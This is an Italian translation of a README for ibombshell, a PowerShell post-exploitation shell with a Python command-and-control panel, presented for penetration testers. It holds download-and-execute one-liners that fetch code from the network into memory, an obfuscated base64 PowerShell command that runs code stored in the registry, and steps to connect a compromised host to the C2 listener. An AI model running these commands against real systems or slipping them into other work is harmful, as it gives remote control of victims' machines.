
Strumento per distribuire un prompt di post-sfruttamento in qualsiasi momento
,--.!, _ ____ __ _____ __ ____
__/ -*- (_) __ )____ ____ ___ / /_ / ___// /_ ___ / / /
,d08b. '|` / / __ / __ \/ __ `__ \/ __ \\__ \/ __ \/ _ \/ / /
0088MM / / /_/ / /_/ / / / / / / /_/ /__/ / / / / __/ / /
`9MMP' /_/_____/\____/_/ /_/ /_/_.___/____/_/ /_/\___/_/_/_/
[+] Avvio della console...
[*] Console pronta!
ibombshell è uno strumento scritto in Powershell che permette di avere un prompt in qualsiasi momento con funzionalità di post-exploitation (e in alcuni casi di exploitation). È una shell che viene scaricata direttamente in memoria, fornendo accesso a un gran numero di funzionalità di pentesting. Queste funzionalità possono essere scaricate direttamente in memoria, sotto forma di una funzione Powershell. Questa forma di esecuzione è nota come everywhere.
Inoltre, ibombshell fornisce una seconda modalità di esecuzione chiamata Silently, così il pentester può eseguire un'istanza di ibombshell (chiamata warrior). Il computer compromesso sarà connesso a un pannello C2 tramite HTTP. Sarà quindi possibile controllare il warrior e caricare funzioni in memoria che aiutino il pentester. Ciò avviene nella fase di post-exploitation.
Per eseguire ibombshell everywhere è obbligatorio avere PowerShell 3.0 o superiore. Per sistemi operativi diversi da Windows puoi leggere di più su questo in PowerShell GitHub - PowerShell per ogni sistema!.
Per eseguire ibombshell silently mode hai bisogno di python 3.6 e di alcune librerie python. Puoi installarle con:
cd ibombshell\ c2/
pip install -r requirements.txt
Nota: ibombshell C2 funziona con python 3.X. Assicurati di eseguire un pip relativo a questa versione.
ibombshell ha due modalità di esecuzione:
Per caricare ibombshell, esegui semplicemente su PowerShell:
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)
Ora puoi eseguire la console ibombshell scaricata lanciando:
console
Se devi usare ibombshell in ambienti isolati, devi prima preparare il tuo computer in un ambiente di rete. Carica tutte le funzioni di cui avrai bisogno e usa savefunctions per salvarle nel registro di Windows.
Ora puoi usare questo codice base 64 per ottenere ibombshell:
powershell.exe -E "JABwAGEAdABoACAAPQAgACcAaABrAGMAdQA6AFwAcwBvAGYAdAB3AGEAcgBlAFwAYwBsAGEAcwBzAGUAcwBcAGkAYgBvAG0AYgBzAGgAZQBsAGwAXABjAG8AbgBzAG8AbABlACcAOwAgAHQAcgB5ACAAewAJAGkAZgAoAHQAZQ
BzAHQALQBwAGEAdABoACAAJABwAGEAdABoACkAIAB7ACAAJABjAG8AbgBzAG8AbABlACAAPQAgACgARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAcABhAHQAaAApAC4ATgBhAG0AZQA7ACAAYwBkACAAaABrAGMAdQA6
ADsAIAAkAG4AYQBtAGUAIAA9ACAAJABjAG8AbgBzAG8AbABlAC4AcwBwAGwAaQB0ACgAIgBcACIAKQBbAC0AMQBdADsAIAAkAGMAbwBkAGUAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAJABjAG
8AbgBzAG8AbABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAAUAByAG8AcABlAHIAdAB5ACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUA
YwB0ACAAewBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAcABzAG8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABAAHsAIgBwAHIAbwBwAGUAcgB0AHkAIgA9ACQAXwA7ACAAIgBWAGEAbAB1AGUAIgAgAD0AIAAoAEcAZQ
B0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQAYwBvAG4AcwBvAGwAZQAiACAALQBOAGEAbQBlACAAJABfACkALgAkAF8AfQB9ACkALgBWAGEAbAB1AGUAOwAgACQAYwBvAGQAZQAgAHwAIABv
AHUAdAAtAHMAdAByAGkAbgBnACAAfAAgAGkAZQB4ADsAIABjADoAOwAgAGMAbwBuAHMAbwBsAGUAOwB9AH0AYwBhAHQAYwBoAHsAdwByAGkAdABlAC0AaABvAHMAdAAgACQARQByAHIAbwByAFsAMABdAH0A"
Questa versione ti permette di eseguire la console ibombshell e controllarla da remoto tramite il pannello C2 creato in python. Per eseguire questa versione, prima devi avviare il processo della console in powershell:
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)
Nel percorso di ibombshell C2, prepara il C2:
python3 ibombshell.py
E crea il listener a cui i warrior si collegheranno:
iBombShell> load modules/listener.py
[+] Caricamento del modulo...
[+] Modulo caricato!
iBombShell[modules/listener.py]> run
La porta predefinita del listener è 8080. Infine puoi avviare la console in modalità silenziosa sull'host per ottenere il controllo remoto:
console -Silently -uriConsole http://[ip or domain]:[port]
Il funzionamento di base del pannello di controllo ibombshell segue il seguente schema:
ibombshell C2
| |
| newibombshell |
+--------------------->| --+ register
| |<--+ from IP
| get functions |
| and instructions |
+--------------------->|
| |
| send functions |
| and instructions |
execute +-- |<---------------------+
+-->| |
| results |
+--------------------->|
| |
Abbiamo creato un container docker con tutto il necessario per farlo funzionare. Esegui questo comando dalla posizione del Dockerfile.
sudo docker build -t "ibombshell" .
sudo docker run -it ibombshell
Alcuni video di esempio...
Questo progetto è concesso in licenza sotto la GNU General Public License - consultare il file LICENSE per i dettagli.
IL SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA, INCLUSE MA NON LIMITATE ALLE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UN PARTICOLARE SCOPO E NON VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ, SIA IN UN'AZIONE CONTRATTUALE, EXTRACONTRATTUALE O ALTRO, DERIVANTE DA, FUORI O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE. OGNI VOLTA CHE EFFETTUI UN CONTRIBUTO A UN REPOSITORY CHE CONTIENE L'INDICAZIONE DI UNA LICENZA, CONCEDI IN LICENZA IL TUO CONTRIBUTO AGLI STESSI TERMINI E ACCETTI DI AVERE IL DIRITTO DI CONCEDERE IN LICENZA IL TUO CONTRIBUTO A TALI TERMINI. SE HAI UN ACCORDO SEPARATO PER CONCEDERE IN LICENZA I TUOI CONTRIBUTI A TERMINI DIVERSI, COME UN ACCORDO DI LICENZA DEL CONTRIBUTORE, TALE ACCORDO PREVARRÀ.
Questo software non ha un processo di QA. Questo software è una Prova di Concetto.
Se hai problemi, puoi contattare: